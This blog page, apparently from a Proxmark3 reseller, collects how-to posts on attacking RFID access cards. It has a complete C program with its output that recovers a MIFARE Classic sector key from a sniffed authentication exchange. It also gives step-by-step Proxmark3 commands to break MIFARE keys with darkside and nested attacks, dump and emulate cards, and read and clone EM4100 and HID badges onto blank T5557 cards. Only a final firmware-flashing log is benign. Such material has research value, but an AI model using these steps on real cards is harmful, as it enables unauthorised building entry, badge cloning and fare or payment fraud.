2013年2月28日星期四

Getting the sector key of a mifare card

Getting the sector key of a mifare card

Author : xfpga Date : 2012-12-12 12:28:59

Getting the sector key of a mifare card(from google code of proxmark3)

Snooping on Mifare communications

This is a working example of how the sector keys of mifare cards can be retrieved with a Proxmark3, using the "crapto-1" package found on Google Code.
The trace below is taken from a hi14asnoop session followed by hf 14a list to get the beginning of the authentication & encryption protocol :

CommandsComment
+ 561882 : 1 : 26REQA
+ 64 : 2 : TAG 04 00Answer reqa
+ 10217 : 2 : 93 20Select
+ 64 : 5 : TAG 9c 59 9b 32 6cThe card’s UID is therefore : 9c 59 9b 32
+ 12313 : 9 : 93 70 9c 59 9b 32 6c 6b 30Select with UID
+ 64 : 3 : TAG 08 b6 ddTag type (Mifare 1K)
+ 923318 : 4 : 60 00 f5 7bAUTH (block 00)
+ 112 : 4 : TAG 82 a4 16 6cTag challenge (nt, "Nonce Tag")
+ 6985 : 8 : a1 e4 ! 58 ce ! 6e ea ! 41 e0 !nr XOR ks1 (Nonce Reader, encrypted, 4 bytes), 
ar XOR ks2 (Answer Reader to Nonce Tag, encrypted)
+ 64 : 4 : TAG 5c ! ad f4 39 !at XOR ks3 (Answer Tag, encrypted)

In order to extract the key for sector 0 from the exchange, we need the following elements :
  • Tag UID
  • Tag challenge (nt)
  • Reader challenge, encrypted (nr xor ks1, aka nr)
  • Reader response, encrypted (ar XOR ks2, aka ar)
  • Tag response, encrypted (at XOR ks3, aka at)
In the example above :
  • UID : 0x9c599b32
  • nt : 0x82a4166c
  • nr : 0xa1e458ce
  • ar : 0x6eea41e0
  • at : 0x5cadf439
Those can then be used in the following "crapto1" test program :
// Test-file: test2.c
#include "crapto1.h"
#include <stdio.h>
int main (void)
{
 struct Crypto1State *revstate;
 uint64_t lfsr;
 unsigned char* plfsr = (unsigned char*)&lfsr;


 uint32_t uid                = 0x9c599b32;
 uint32_t tag_challenge      = 0x82a4166c;
 uint32_t nr_enc             = 0xa1e458ce;
 uint32_t reader_response    = 0x6eea41e0;
 uint32_t tag_response       = 0x5cadf439;

 uint32_t ks2                = reader_response ^ prng_successor(tag_challenge, 64);
 uint32_t ks3                = tag_response ^ prng_successor(tag_challenge, 96);

 printf("nt': %08x\n",prng_successor(tag_challenge, 64));
 printf("nt'': %08x\n",prng_successor(tag_challenge, 96));

 printf("ks2: %08x\n",ks2);
 printf("ks3: %08x\n",ks3);

 revstate = lfsr_recovery(ks2, ks3);
 lfsr_rollback(revstate, 0, 0);
 lfsr_rollback(revstate, 0, 0);
 lfsr_rollback(revstate, nr_enc, 1);
 lfsr_rollback(revstate, uid ^ tag_challenge, 0);
 crypto1_get_lfsr(revstate, &lfsr);
 printf("Found Key: [%02x %02x %02x %02x %02x %02x]\n\n",plfsr[0],plfsr[1],plfsr[2],plfsr[3],plfsr[4],plfsr[5]);

 return 0;
}
Then compiled with :
#gcc -o test2 test2.c crapto1.c crypto1.c
And run like this :
./test2
nt': 8d65734b
nt'': 9a427b20
ks2: e38f32ab
ks3: c6ef8f19
Found Key: [ff ff ff ff ff ff]


you can use the gui soft to do so, it is the same.

proxmark3 read simulation and clone em4100 id card

em410xread [clock]

Reads the ID from an EM410x tag (the plot should contain the raw tag). Clock is optional, usually has a value of 64.
Example :
> loread> losamples 2000
> em410xreadAuto-detected clock rate: 64
EM410x Tag ID: 1a0041375d

em410xsim [tag id]

Simulates an EM410x tag with the specified ID. Example :
> em410xsim 1a0041375d
(The orange light will turn on. Press the button on the PM3 to stop emulating the tag.)

em410xwatch

Watches for an EM410x tag until it detects one. Essentially "loread + losamples 2000 + em410xread" until a tag is detected. Example :
> em410xwatchAuto-detected clock rate: 64
EM410x Tag ID: 1a0041375d
em410xwrite    
copy em4100 id to a t5557 card.
 
proxmark3> lf em4x
help             This help
em410xread       [clock rate] -- Extract ID from EM410x tag
em410xsim        <UID> -- Simulate EM410x tag
em410xwatch      Watches for EM410x tags
em410xwrite      <UID> <'0' T5555> <'1' T55x7> -- Write EM410x UID to T5555(Q5)
or T55x7 tag
em4x50read       Extract data from EM4x50 tag
proxmark3>

--------
gezhi electronic
www.xfpga.com or ebay shop
email: xfpga@hotmail.com
qq:1074079485
tel: +86-13113330725
Michael

Clone HID card with proxmark3

Clone HID card with proxmark3
1. use lf hid fskdemo to read the hid card ' ID.

2. replace a blank t5557 card to the antenna,
use lf hid clone xxx(the ID you just read)

That is all.
here is a video of howto do it.
www.youtube.com/watch?v=MXljGb47IKM

snoop mifare card and extract the key video

snoop mifare card and extract the key video

www.youtube.com/watch?v=kTvb7tjbSTI

2013年2月26日星期二

snoop mifare card and extract the key video

snoop mifare card and extract the key video

www.youtube.com/watch?v=kTvb7tjbSTI

proxmark3:Some commands for MIFARE

proxmark3:Some commands for MIFARE
 
How can I read a card contents?

  • 'hf mf rdbl 0 a ffffffffffff', where 0 - block number, a - key type, ffffffffffff - key

or:
  • 'hf mf rdsc 0 a ffffffffffff', where 0 - sector number, a - key type, ffffffffffff - key

How can I write a block into a card?

  • 'hf mf wrbl 0 a ffffffffffff 000102030405060708090a0b0c0d0e0f', where 0 - block number, a - key type, ffffffffffff - key,
000102030405060708090a0b0c0d0e0f - block data.

How can I break a card?

  • 'hf mf mifare'
  • if it dont found a key: 'hf mf mifare XXXXXXXX' , where XXXXXXXX - Nt from previous run
  • 'hf mf nested 1 0 a FFFFFFFFFFFF', where 1 - card type MIFARE CLASSIC 1k, FFFFFFFFFFFF - key that found at previous step.

How to save emulator dump from a card

  • 'hf mf mifare'
  • if it dont found a key: 'hf mf mifare XXXXXXXX' , where XXXXXXXX - Nt from previous run
  • 'hf mf nested 1 0 a FFFFFFFFFFFF t', where 1 - card type MIFARE CLASSIC 1k, FFFFFFFFFFFF - key that found at previous step.
  • 'hf mf efill a FFFFFFFFFFFF'
  • 'hf mf esave filename'

How to emulate a card


  • 'hf mf mifare'
  • if it dont found a key: 'hf mf mifare XXXXXXXX' , where XXXXXXXX - Nt from previous run
  • 'hf mf nested 1 0 a FFFFFFFFFFFF t', where 1 - card type MIFARE CLASSIC 1k, FFFFFFFFFFFF - key that found at previous step.
  • 'hf mf efill a FFFFFFFFFFFF'
  • 'hf mf sim'

How to emulate a new card


  • 'hf mf eclr'
  • 'hf mf sim'

How to emulate a card with help of dump from file

  • 'hf mf eload filename', where filename - dump's file name (<filename>.eml)
  • 'hf mf sim'

How to have look at the emulator memory

  • 'hf mf eget 00', where 00 - block number from 0 to 0x63. Each block contains 16 bytes of memory.

How to make changes into the emulator memory

  • 'hf mf eset 01 000102030405060708090a0b0c0d0e0f',

where:
  • 00 - block number from 0 to 0x63. Each block contains 16 bytes of memory.
  • 000102030405060708090a0b0c0d0e0f - block data.

Proxmark3 Flashing the board

Proxmark3 Flashing the board
Once the driver is installed, you can move on to first flashing the new bootloader, then the "fullimage.elf" provided in the ZIP archive:
D:\Documents\Hobbies\RFID\Proxmark Firmware\Winter 2010 Release r419>flasher.exe -b bootrom.elfLoading ELF file 'bootrom.elf'...
Loading usable ELF segments:
0: V 0x00100000 P 0x00100000 (0x00000200->0x00000200) [R X] @0x94
1: V 0x00200000 P 0x00100200 (0x0000175c->0x0000175c) [R X] @0x294
Waiting for Proxmark to appear on USB... Found.
Entering bootloader...
(Press and release the button only to abort)
Waiting for Proxmark to reappear on USB... Found.
Flashing...
Writing segments for file: bootrom.elf
 0x00100000..0x001001ff [0x200 / 2 blocks].. OK
 0x00100200..0x0010195b [0x175c / 24 blocks]........................ OK
Resetting hardware...
All done.
Have a nice day!

D:\Documents\Hobbies\RFID\Proxmark Firmware\Winter 2010 Release r419>flasher.exe  fullimage.elfLoading ELF file 'fullimage.elf'...
Loading usable ELF segments:
0: V 0x00102000 P 0x00102000 (0x0000a4bc->0x0000a4bc) [R  ] @0xb4
1: V 0x00110000 P 0x00110000 (0x000140b8->0x000140b8) [R X] @0xa570
2: V 0x00200000 P 0x001240b8 (0x00000004->0x00000004) [RW ] @0x1e628
Note: Extending previous segment from 0x140b8 to 0x140bc bytes
Waiting for Proxmark to appear on USB... Found.
Entering bootloader...
(Press and release the button only to abort)
Waiting for Proxmark to reappear on USB... Found.
Flashing...
Writing segments for file: fullimage.elf
 0x00102000..0x0010c4bb [0xa4bc / 165 blocks]...................................
................................................................................
.................................................. OK
 0x00110000..0x001240bb [0x140bc / 321 blocks]..................................
................................................................................
................................................................................
................................................................................
............................................... OK
Resetting hardware...
All done.
Have a nice day!

D:\Documents\Hobbies\RFID\Proxmark Firmware\Winter 2010 Release r419>
From there on, you should not need to update the Bootloader upon new firmware releases - unless of course there is another large bootloader upgrade at a later stage!